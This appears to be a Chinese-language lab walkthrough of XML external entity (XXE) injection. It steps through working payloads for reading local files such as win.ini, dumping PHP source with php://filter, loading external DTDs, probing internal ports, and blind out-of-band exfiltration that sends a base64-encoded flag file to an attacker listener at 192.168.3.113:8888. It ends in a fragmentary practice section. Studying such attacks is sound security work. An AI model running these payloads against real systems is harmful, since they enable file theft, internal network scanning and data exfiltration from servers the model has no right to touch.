1.测试攻击
这里我们可以看到一个接受xml代码的输入框
<?xml version="1.0"?>
<!DOCTYPE foo[<!ENTITY xee "小家伙">]>
<foo>&xee;</foo>
输入上述代码,成功接收到我们的xml命令,测试成功
2.查看文件
在输入框输入这里的代码,注意,一个字符都不能错.
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "file:///c:windows/win.ini">]>
<foo>&xxe;</foo>
成功查询
3.查看源码
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php">]>
<foo>&xxe;</foo>
4.EXP DTD外部调用
###EXP DTD外部调用
网站根目录下创建evil.dtd文件
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini">
####传入的参数
<?xml version="1.0"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://127.0.0.1/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>
5.探测内网存活主机与开放端口
这里我们修改端口测试开放,如果一直转圈然后断开则端口不开放
<?xml version="1.0"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8081">
]>
<x>&rabbit;</x>
6.EXP无回显探测
eee.dtd
这个文件的作用是将file的值传入kali
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.3.113:8888/?%file;'>">
%start;
传入参数:外带file到kali8888端口
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://127.0.0.1/eee.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.php">
%remote;
%send;]>
kali监听8888端口
解码flag
7,学会了吧,我们来实战一下
(1)我们看到username这里有回显,
(2)这里我们抓包试试
回显是username我们在这里修改
(3)发送到重放器得到结果
d